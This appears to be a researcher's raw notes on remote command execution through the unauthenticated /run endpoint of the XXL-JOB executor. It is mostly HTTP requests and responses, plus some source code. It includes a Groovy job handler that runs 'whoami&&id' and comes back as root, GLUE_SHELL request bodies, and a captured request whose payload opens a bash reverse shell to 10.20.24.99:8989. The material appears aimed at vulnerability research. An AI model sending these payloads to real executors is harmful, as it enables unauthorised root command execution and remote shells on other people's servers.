String var3 = System.getProperties().toString();
System.out.println(var3);

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    @Override
    public ReturnT<String> execute(String param) throws Exception {
        XxlJobLogger.log("XXL-JOB, Hello World.");
        String cmd = "whoami&&id";
        String var2 = new java.util.Scanner(new java.lang.ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next();
        System.out.println(var2);
        return var2;
    }


}

----------- JobThread Exception:org.codehaus.groovy.runtime.typehandling.GroovyCastException: Cannot cast object 'uid=0(root) gid=0(root) groups=0(root)
' with class 'java.lang.String' to class 'com.xxl.job.core.biz.model.ReturnT'
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnSAM(DefaultTypeTransformation.java:415)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnNumber(DefaultTypeTransformation.java:329)
	at org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.castToType(DefaultTypeTransformation.java:243)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(ScriptBytecodeAdapter.java:615)
	at DemoGlueJobHandler.execute(script16251277854351238137335.groovy:13)
	at com.xxl.job.core.handler.impl.GlueJobHandler.execute(GlueJobHandler.java:26)
	at com.xxl.job.core.thread.JobThread.run(JobThread.java:152)

POST /run HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 365
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "open -a Calculator",
  "glueUpdatetime": 1586629003727,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12

{"code":200}

http://127.0.0.1:9999/

HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 61
connection: keep-alive

{
  "code": 500,
  "msg": "invalid request, HttpMethod not support."
}


POST

POST / HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 63

{
  "code": 500,
  "msg": "invalid request, uri-mapping(/) not found."
}

POST /run HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 646

{
  "code": 500,
  "msg": "request error:java.lang.NullPointerException
	at com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138)
	at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
"
}

        private Object process(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) {

            // valid
            if (HttpMethod.POST != httpMethod) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, HttpMethod not support.");
            }
            if (uri==null || uri.trim().length()==0) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping empty.");
            }
            if (accessToken!=null
                    && accessToken.trim().length()>0
                    && !accessToken.equals(accessTokenReq)) {
                return new ReturnT<String>(ReturnT.FAIL_CODE, "The access token is wrong.");
            }

            // services mapping
            try {
                if ("/beat".equals(uri)) {
                    return executorBiz.beat();
                } else if ("/idleBeat".equals(uri)) {
                    IdleBeatParam idleBeatParam = GsonTool.fromJson(requestData, IdleBeatParam.class);
                    return executorBiz.idleBeat(idleBeatParam);
                } else if ("/run".equals(uri)) {
                    TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
                    return executorBiz.run(triggerParam);
                } else if ("/kill".equals(uri)) {
                    KillParam killParam = GsonTool.fromJson(requestData, KillParam.class);
                    return executorBiz.kill(killParam);
                } else if ("/log".equals(uri)) {
                    LogParam logParam = GsonTool.fromJson(requestData, LogParam.class);
                    return executorBiz.log(logParam);
                } else {
                    return new ReturnT<String>(ReturnT.FAIL_CODE, "invalid request, uri-mapping("+ uri +") not found.");
                }
            } catch (Exception e) {
                logger.error(e.getMessage(), e);
                return new ReturnT<String>(ReturnT.FAIL_CODE, "request error:" + ThrowableUtil.toString(e));
            }
        }

{
  "jobId": 1,
  "executorHandler": "executorHandler",
  "executorParams": "executorParams",
  "executorBlockStrategy": "executorBlockStrategy",
  "executorTimeout": 1,
  "logId": 1,
  "logDateTime": 1,
  "glueType": "glueType",
  "glueSource": "glueSource",
  "glueUpdatetime": 1,
  "broadcastIndex": 1,
  "broadcastTotal": 1
}

  @Before
  public void login() throws Exception {
    MvcResult ret = mockMvc.perform(
        post("/login")
            .contentType(MediaType.APPLICATION_FORM_URLENCODED)
            .param("userName", "admin")
            .param("password", "123456")
    ).andReturn();
    cookie = ret.getResponse().getCookie(LoginService.LOGIN_IDENTITY_KEY);
  }

POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 10.20.24.99:8080
Content-Length: 64
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.20.24.99:8080
Referer: http://10.20.24.99:8080/xxl-job-admin/jobinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Connection: close

id=2&executorParam=&addressList=http%3A%2F%2F10.88.105.53%3A9999

╰─$ sudo tcpdump port 9999 -w 9999.pcap
tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
^C25 packets captured
349 packets received by filter
0 packets dropped by kernel

10.20.24.99（任务调度中心 xxl-job-admin）  > 10.88.105.53:9999 (执行器 xxl.job.executor)
User-Agent: Java/1.8.0_60

POST /run HTTP/1.1
Content-Type: application/json;charset=UTF-8
Accept-Charset: application/json;charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_60
Host: 10.88.105.53:9999
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 326


{
  "jobId": 5,
  "executorHandler": "",
  "executorParams": "",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 13,
  "logDateTime": 1603865778890,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i \u003e\u0026 /dev/tcp/10.20.24.99/8989 0\u003e\u00261\n",
  "glueUpdatetime": 1603860395000,
  "broadcastIndex": 0,
  "broadcastTotal": 1
}



HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12
connection: keep-alive

{"code":200}